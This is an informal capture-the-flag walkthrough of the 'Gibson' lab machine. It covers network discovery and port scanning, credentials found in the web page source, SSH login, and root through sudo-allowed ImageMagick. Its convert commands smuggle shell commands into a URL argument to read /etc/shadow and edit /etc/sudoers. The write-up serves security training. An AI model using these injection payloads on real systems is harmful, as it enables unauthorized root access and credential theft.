Gibson:0.2
Tools:
- netdiscover
- Nmap
- Wfuzz
- Nikto
Vulnerability:
ImageMagick <= 6.9.3-9 / <= 7.0.1-0 - Multiple Vulnerabilities
Use netdiscover to detect target IP address
netdiscover -i eth0 -r 192.168.79.0/24
192.168.79.196 is the target.
Then run nmap to detect opening ports and running services on the target machine.
nmap -sV -v -O -A -T5 192.168.79.196 -p-
port 22 and 80 are opening.
use wfuzz to scan
1
|
|
Nothing cool come out.
check the webpage, find a file davinci.htm
. Double click it.
Not useful
check the souce code:
Get a potential username/password margo
:god
.
login ssh:
get the shell.
Now lets try to get root
sudo -l
try to execute this program
ImageMagick ????
searchsploit ImageMagick
I used that exploit.
convert 'https://example.com"|ls "-la' out.png
works
now try:
sudo convert 'https://example.com"|cat "/etc/shadow' out.png
now
modify the /etc/sudoers
sudo convert 'https://example.com"|vim "/etc/sudoers' out.png
save and quit.
ssh to the box as margo,
sudo su
Game Over